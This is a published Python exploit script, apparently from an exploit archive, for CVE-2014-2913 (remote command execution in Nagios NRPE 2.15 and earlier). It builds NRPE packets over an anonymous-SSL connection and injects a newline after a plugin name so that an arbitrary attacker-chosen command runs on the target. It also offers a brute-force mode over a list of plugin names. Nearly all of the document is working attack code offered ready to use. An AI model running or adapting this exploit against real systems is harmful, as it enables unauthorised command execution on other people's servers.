NRPE 2.15 Remote Command Execution
Posted on 29 August 2014
#!/usr/bin/python # # # Exploit Title : NRPE <= 2.15 Remote Code Execution Vulnerability # # Discovered by : Dawid Golunski # dawid (at) legalhackers (dot) com # legalhackers.com # # Exploit Author : Claudio Viviani # http://www.homelab.it # # info@homelab.it # homelabit@protonmail.ch # # https://www.facebook.com/homelabit # https://twitter.com/homelabit # https://plus.google.com/+HomelabIt1/ # https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww # # # # C crc32 function ripped from check_nrpe_clone by Alan Brenner <alan.brenner@ithaka.org> # http://www.abcompcons.com/files/nrpe_client.py # # pyOpenSSL Library required (http://pyopenssl.sourceforge.net/) # # [root@localhost ~]# pip-python install pyOpenSSL # # NRPE <= 2.15 Remote Command Execution Vulnerability # Release date: 17.04.2014 # Discovered by: Dawid Golunski # Severity: High # CVE-2014-2913 # # http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2913 # http://www.exploit-db.com/exploits/32925/ # http://www.homelab.it/index.php/2014/05/03/nagios-nrpe-remote-command-injection-test-fix/ (ITA) # # Tested on CentOS 5.x, CentOS 6.x, BacBox 3.x, KaliLinux 1.0.6 with Python 2.x # # Demo: https://www.youtube.com/watch?v=nmYiBdnWWcE # import OpenSSL # non-standard, see http://pyopenssl.sourceforge.net/ import optparse import os import signal import socket import struct import sys import time banner = """ $$ $$ $$$$$$$ $$$$$$$ $$$$$$$$ $$$$$$ $$ $$$$$$$\ $$$ $$ |$$ __$$ $$ __$$ $$ _____| $$ __$$ $$$$ | $$ ____| $$$$ $$ |$$ | $$ |$$ | $$ |$$ | \__/ $$ | \_$$ | $$ | $$ $$$$ |$$$$$$$ |$$$$$$$ |$$$$$ $$$$$$ | $$ | $$$$$$$\ $$ $$$$ |$$ __$$< $$ ____/ $$ __| $$ ____/ $$ | \_____$$\ $$ |$$$ |$$ | $$ |$$ | $$ | $$ | $$ | $$ $$ | $$ | $$ |$$ | $$ |$$ | $$$$$$$$ $$$$$$$$ $$ $$$$$$\$$$$$$ | \__| \__|\__| \__|\__| \________| \________|\__|\______|\______/ $$$$$$$ $$$$$$ $$$$$$$$\ $$ __$$ $$ __$$ $$ _____| $$ | $$ |$$ / \__|$$ | $$$$$$$ |$$ | $$$$$\ $$ __$$< $$ | $$ __| $$ | $$ |$$ | $$ $$ | $$ | $$ |$$$$$$ |$$$$$$$$\ \__| \__| \______/ \________| NRPE <= 2.15 R3m0t3 C0mm4nd Ex3cut10n ============================================= - Release date: 17.04.2014 - Discovered by: Dawid Golunski - Severity: High - CVE: 2014-2913 ============================================= Written by: Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww """ # Plugin list for Brute force mode PluginList = ['check_all', 'check_apt', 'check_bdii', 'check_bonding', 'check_breeze', 'check_by_ssh', 'check_check-updates', 'check_check_sip', 'check_cluster', 'check_dhcp', 'check_dig', 'check_disk', 'check_disk_smb', 'check_dns', 'check_dpm-disk', 'check_dpm-head', 'check_dummy', 'check_file_age', 'check_flexlm', 'check_fping', 'check_game', 'check_hpjd', 'check_http', 'check_icmp', 'check_ide_smart', 'check_ifoperstatus', 'check_ifstatus', 'check_ircd', 'check_lcgdm', 'check_lcgdm-common', 'check_ldap', 'check_lfc', 'check_linux_raid', 'check_load', 'check_log', 'check_mailq', 'check_mrtg', 'check_mrtgtraf', 'check_mysql', 'check_nagios', 'check_nrpe', 'check_nt', 'check_ntp', 'check_nwstat', 'check_openmanage', 'check_oracle', 'check_overcr', 'check_perl', 'check_pgsql', 'check_ping', 'check_procs', 'check_radius', 'check_real', 'check_rhev', 'check_rpc', 'check_sensors', 'check_smtp', 'check_snmp', 'check_ssh', 'check_swap', 'check_tcp', 'check_time', 'check_ups', 'check_users', 'check_wave'] # nrpe 2.15 skip chars "|`&><'"\[]{};" and "$()" but not "x0a"(new line) evilchar = "x0a" QUERY_PACKET = 1 RESPONSE_PACKET = 2 NRPE_PACKET_VERSION_2 = 2 # max amount of data we'll send in one query/response MAX_PACKETBUFFER_LENGTH = 1024 #def debug(sMessage): # """Send a string to STDERR""" # if DEBUG: # sys.stderr.write("%s " % sMessage) class DataPacket: """A Python implementation of the C struct, packet.""" def __init__(self, packet_version, packet_type): self.nPacketVersion = packet_version # int16 self.nPacketType = packet_type # int16 self.nCRC32 = 0 # u_int32 self.nResultCode = 2324 # int16 self.sData = '' self.tCRC32 = ( 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d) def __str__(self): # Turn whatever string data we have into a null terminated string if len(self.sData) < MAX_PACKETBUFFER_LENGTH: sData = self.sData + " " * (MAX_PACKETBUFFER_LENGTH - len(self.sData)) sData += "SR" # not sure about this, from perl elif len(self.sData) == MAX_PACKETBUFFER_LENGTH + 2: sData = self.sData else: raise ValueError("CHECK_NRPE: invalid input") # Return a string that equals the C struct, not something printable return struct.pack("!hhLh" + str(len(sData)) + "s", self.nPacketVersion, self.nPacketType, self.nCRC32, self.nResultCode, sData) def __len__(self): return len(self.__str__()) def dumpself(self): """Debugging output for self as C structure. Not normally used.""" sElf = self.__str__() sPrev = sElf[0:1] nCount = 0 ii = -1 for sChar in sElf[1:]: ii += 1 if sChar == sPrev: nCount += 1 continue if nCount: print "%d %d *" % (ii - nCount, nCount + 1), nCount = 0 else: print "%d " % ii, print " '%s' (%d)" % (sPrev, ord(sPrev)) sPrev = sChar print "%d '%s' (%d)" % (ii + 1, sPrev, ord(sPrev)) def calculate_crc32(self): """Calculate the CRC32 value for the string version of self.""" nCRC = 0xFFFFFFFF for ii in self.__str__(): nIndex = (nCRC ^ ord(ii)) & 0xFF nCRC = ((nCRC >> 8) & 0x00FFFFFF) ^ self.tCRC32[nIndex] self.nCRC32 = nCRC ^ 0xFFFFFFFF #debug("DataPacket.calculate_crc32 = %d" % self.nCRC32) def extract(self, sQuery): """Turn a string into the DataPacket attributes.""" #debug("DataPacket.extract(%d)" % len(sQuery)) tVals = struct.unpack("!hhLh" + str(len(sQuery) - 10) + "s", sQuery) self.nPacketVersion = tVals[0] self.nPacketType = tVals[1] self.nCRC32 = tVals[2] self.nResultCode = tVals[3] self.sData = tVals[4] m_nTimeout = 0 def alarm_handler(nSignum, oFrame): """Timeout catcher""" raise KeyboardInterrupt("CHECK_NRPE: Socket timeout after %d seconds." % m_nTimeout) class NrpeClient(DataPacket): """Everything needed to send a message to an NRPE server and get data back. """ def __init__(self, server_name, server_port=5666, use_ssl=True, timeout=10, packet_version=NRPE_PACKET_VERSION_2): DataPacket.__init__(self, packet_version, QUERY_PACKET) self.sServer = server_name self.nPort = server_port self.bUseSSL = use_ssl self.nTimeout = timeout def run_query(self, sQuery): """Connect to the NRPE server, send the query and get back data. """ # initialize alarm signal handling and set timeout signal.signal(signal.SIGALRM, alarm_handler) signal.alarm(self.nTimeout) # try to connect to the host at the given port number oSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # do SSL handshake if self.bUseSSL: oContext = OpenSSL.SSL.Context(OpenSSL.SSL.TLSv1_METHOD) oContext.set_cipher_list('ADH') oConnection = OpenSSL.SSL.Connection(oContext, oSocket) else: oConnection = oSocket oConnection.connect((self.sServer, self.nPort)) # we're connected and ready to go self.sData = sQuery self.nCRC32 = 0 self.calculate_crc32() # send the packet oConnection.send(str(self)) # wait for the response packet sRval = oConnection.recv(len(self)) # close the connection if self.bUseSSL and not oConnection.shutdown(): try: sRval += oConnection.recv(len(self)) except OpenSSL.SSL.ZeroReturnError: pass oSocket.close() del oSocket, oConnection if self.bUseSSL: del oContext # reset timeout signal.alarm(0) if len(sRval) == 0: raise IOError("CHECK_NRPE: Received 0 bytes from daemon." + "Check the remote server logs for error messages.") elif len(sRval) < len(self): raise IOError("CHECK_NRPE: Receive underflow - only " + "%d bytes received (%d expected)." % (len(sRval), len(self))) # Become the received data self.extract(sRval) # check the crc 32 value nRvalCRC = self.nCRC32 self.nCRC32 = 0 self.calculate_crc32() if nRvalCRC != self.nCRC32: raise ValueError("CHECK_NRPE: Response packet had invalid CRC32.") # check packet version if self.nPacketVersion != NRPE_PACKET_VERSION_2: raise ValueError("CHECK_NRPE: Invalid packet version received from server.") # check packet type if self.nPacketType != RESPONSE_PACKET: raise ValueError("CHECK_NRPE: Invalid packet type received from server.") # Turn the input data into a proper python string (chop at first NULL) for ii in range(len(self.sData)): if self.sData[ii] == " ": break self.sData = self.sData[0:ii] if __name__ == '__main__': m_oOpts = optparse.OptionParser("%prog -H Host_or_IP -c nrpe_command --cmd="command to execute" [-b, --brute] [-n] [-p PORT] [--timeout sec] [--list]") m_oOpts.add_option('--host', '-H', action='store', type='string', help='The address of the host running the NRPE daemon (required)') m_oOpts.add_option('--ssl', '-n', action='store_false', default=True, help='Do no use SSL') m_oOpts.add_option('--port', '-p', action='store', type='int', default=5666, help='The port on which the daemon is running (default=5666)') m_oOpts.add_option('--timeout', '-t', action='store', type='int', default=10, help='Number of seconds before connection times out (default=10)') m_oOpts.add_option('--command', '-c', action='store', type='string', #default='get_data', help='The name of nrpe command') m_oOpts.add_option('--brute', '-b', action='store_true', default=False, help='Find existing nrpe command from list [ -list ]') m_oOpts.add_option('--list', action='store_true', default=False, help='Show NRPE Command list') m_oOpts.add_option('--cmd', action='store', type='string', help='Command to execute on the remote server') m_oOptions, m_lArgs = m_oOpts.parse_args() m_nTimeout = m_oOptions.timeout m_sQuery = m_oOptions.command m_gList = m_oOptions.list m_sBrute = m_oOptions.brute print (banner) if m_gList: print('[+] NRPE Command list ') for LinesPluginList in PluginList: print(LinesPluginList) sys.exit(0) elif m_sQuery and m_sBrute: print m_oOpts.format_help() print('[!]') print('[!] ERROR: Select only -c OR -b option ') sys.exit(0) elif not m_oOptions.host or not m_oOptions.cmd: print m_oOpts.format_help() sys.exit(0) print('[+] Target: '+m_oOptions.host) print('[+] Command: '+m_oOptions.cmd+' ') if m_sBrute: print('[+] Brute force Mode....') print('[+]') for LinesPluginList in PluginList: m_CommandQuery = "" m_CommandQuery += ' ' + m_oOptions.cmd if m_lArgs: m_CommandQuery += ' ' + ' '.join(m_lArgs) m_sQuery = LinesPluginList+'!'+str(evilchar)+str(m_CommandQuery)+' #' m_oNRPE = NrpeClient(m_oOptions.host, m_oOptions.port, m_oOptions.ssl, m_oOptions.timeout) try: m_oNRPE.run_query(m_sQuery) except socket.error: print('[!] Connection Error!') sys.exit(1) except OpenSSL.SSL.ZeroReturnError: print('[!] Not Vulnerable') print('[!] Option dont_blame_nrpe disabled or service fixed') sys.exit(1) if m_oNRPE.sData[-11:] == "not defined": print('[-] Checking for NRPE command '+LinesPluginList+': not found') else: print('[+] Checking for NRPE command '+LinesPluginList+': VULNERABLE!') print('[+]') print('[+] Max Output CHAR 1024 (According to NRPE <= 2.15 specifications)') print('[+]') print('[+] Please ignore NRPE plugin command messages (Usage or Errors)') print('[+]') print(m_oNRPE.sData) sys.exit(0) elif m_sQuery: print('[+] Custom command Mode....') print('[+]') print('[+] Connecting......') m_CommandQuery = "" m_CommandQuery += ' ' + m_oOptions.cmd if m_lArgs: m_CommandQuery += ' ' + ' '.join(m_lArgs) m_sQuery = m_sQuery+'!'+str(evilchar)+str(m_CommandQuery)+' #' m_oNRPE = NrpeClient(m_oOptions.host, m_oOptions.port, m_oOptions.ssl, m_oOptions.timeout) try: m_oNRPE.run_query(m_sQuery) except KeyboardInterrupt: print("[!] CHECK_NRPE: Socket timeout after %d seconds." % m_nTimeout) sys.exit(1) except socket.error: print('[!] Connection Error!') sys.exit(1) except OpenSSL.SSL.ZeroReturnError: print('[!] Not Vulnerable') print('[!] Option dont_blame_nrpe disabled or service fixed') sys.exit(1) if m_oNRPE.sData[-11:] == "not defined": print('[-] Checking for NRPE command '+m_oOptions.command+': not found...try other NRPE command') else: print('[+] Checking for NRPE command '+m_oOptions.command+': VULNERABLE!') print('[+]') print('[+] Max Output CHAR 1024 (According to NRPE <= 2.15 specifications)') print('[+]') print('[+] Please ignore NRPE plugin command messages (Usage or Errors)') print('[+]') print(m_oNRPE.sData) sys.exit(0)
